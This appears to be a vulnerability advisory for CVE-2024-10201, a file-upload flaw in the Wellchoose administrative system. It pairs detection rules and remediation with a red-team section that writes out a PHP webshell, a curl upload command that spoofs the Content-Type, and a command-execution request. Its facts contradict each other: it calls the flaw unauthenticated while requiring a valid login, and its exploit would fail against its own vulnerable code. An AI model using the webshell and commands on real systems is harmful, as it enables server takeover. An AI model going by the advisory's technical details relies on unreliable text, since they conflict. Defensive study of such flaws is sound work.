CVE-2024-10201

Executive Summary

CVE-2024-10201 is a critical unauthenticated arbitrary file upload vulnerability in the Wellchoose Administrative Management System. The application fails to validate uploaded file types, allowing any remote attacker with regular privileges to upload a webshell and gain full server control. With a CVSS score of 8.8, this flaw poses a severe risk to confidentiality, integrity, and availability. No public proof-of-concept or patch exists at this time, but the vulnerability is trivially exploitable via standard HTTP file upload mechanisms.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It affects a proprietary web application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker needs a valid user account
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The low attack complexity and lack of authentication for the upload endpoint make this a prime target for automated exploitation.

Deep Dive & Mechanics

The Wellchoose Administrative Management System includes a file upload feature intended for legitimate document or image uploads. The vulnerability lies in the server-side validation logic: the application checks only the MIME type or file extension superficially, but does not enforce a strict whitelist. An attacker can craft a malicious file (e.g., a PHP webshell) with a double extension (e.g., shell.php.jpg) or manipulate the Content-Type header to bypass weak checks.

Once uploaded, the file is stored in a web-accessible directory (e.g., /uploads/). The attacker can then access the file directly via a URL, triggering server-side execution (e.g., PHP code). This grants the attacker remote code execution (RCE) with the privileges of the web server, typically www-data or equivalent.

Attack Flow:

1. Attacker logs in with low-privilege credentials.
2. Attacker crafts a PHP webshell (e.g., <?php system($_GET['cmd']); ?>).
3. Attacker uploads the file via the vulnerable endpoint, manipulating the filename or Content-Type.
4. Attacker accesses the uploaded file URL, e.g., http://target/uploads/shell.php.
5. Attacker executes arbitrary commands on the server.

Vulnerable vs. Patched Code

Since no patch exists, we compare the vulnerable code pattern to a secure implementation.

Vulnerable Code (PHP-like pseudocode):

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

// Weak check: only checks extension
if($imageFileType != "jpg" && $imageFileType != "png") {
    echo "Sorry, only JPG, PNG files are allowed.";
} else {
    move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
}
?>

Patched Code (Secure Implementation):

<?php
$target_dir = "uploads/";
$allowed_types = ['image/jpeg', 'image/png'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES["file"]["tmp_name"]);
finfo_close($finfo);

if (!in_array($mime_type, $allowed_types)) {
    die("Invalid file type.");
}

// Also validate extension
$ext = strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION));
if (!in_array($ext, ['jpg', 'jpeg', 'png'])) {
    die("Invalid extension.");
}

// Rename file to prevent path traversal
$new_name = uniqid() . '.' . $ext;
$target_file = $target_dir . $new_name;

if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "File uploaded successfully.";
} else {
    echo "Upload failed.";
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Wellchoose Administrative Management System (vulnerable version)
• Attacker: Kali Linux with Burp Suite or cURL

Exploitation Steps:

1. Login with low-privilege credentials (e.g., user:password).
2. Craft a webshell (PHP):

   <?php system($_GET['cmd']); ?>
   

   Save as shell.php.
3. Upload via cURL (manipulating Content-Type):

   curl -X POST -F "file=@shell.php;type=image/jpeg" -F "submit=Upload" http://target/upload.php -b "session=valid_session_cookie"
   

4. Access the webshell:

   curl http://target/uploads/shell.php?cmd=id
   

   Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Advanced Payload (Double Extension):

• Rename shell.php to shell.php.jpg and upload normally. If the server executes .php files regardless of extension, this works.

Blue Team (Defensive)

Detection Steps:

1. Monitor file upload endpoints for unusual MIME types or filenames.
2. Check web server logs for requests to /uploads/ with .php extensions.
3. Implement WAF rules to block uploads of executable files (e.g., .php, .asp, .jsp).
4. Use file integrity monitoring to detect new files in upload directories.

Hunting Query (Splunk):

index=web_logs source="/var/log/apache2/access.log"
| search uri="/uploads/*.php"
| table _time, clientip, uri, status

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (empty file example)
  • Actual webshell hash will vary.
• Network Indicators:
  • Outbound connections from web server to attacker IP on port 80/443.
  • HTTP requests to /uploads/*.php?cmd=...
• File System Indicators:
  • Unexpected .php files in /var/www/html/uploads/ or similar.
  • Files with double extensions (e.g., image.php.jpg).
• Log Indicators:
  • Apache access log entries with POST /upload.php followed by GET /uploads/*.php.

Detection Engineering

YARA Rule

rule CVE_2024_10201_Webshell_Upload {
    meta:
        description = "Detects webshell upload attempts targeting CVE-2024-10201"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10201"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $cmd_param = "$_GET['cmd']"
        $file_ext = ".php"
    condition:
        $php_tag and $system_call and $cmd_param and $file_ext
}

Sigma Rule

title: Webshell Upload via CVE-2024-10201
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to upload.php with suspicious file extensions
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload.php'
        cs-uri-query|contains: '.php'
    condition: selection
falsepositives:
    - Legitimate PHP file uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10201 Webshell Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload.php"; http_uri; content:".php"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file upload functionality if not critical.
2. Implement strict file type validation on the server side (MIME type + extension whitelist).
3. Rename uploaded files to random names without user-controlled extensions.
4. Store uploads outside web root and serve via a script that enforces MIME type.
5. Apply principle of least privilege to web server user.

Long-Term Fix:

• Vendor must release a patch that validates file content (magic bytes) and restricts uploads to safe types.
• Until then, consider migrating to a different administrative system.

Workaround:

• Use a Web Application Firewall (WAF) to block uploads with .php, .asp, .jsp extensions.
• Monitor logs for anomalous file upload patterns.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert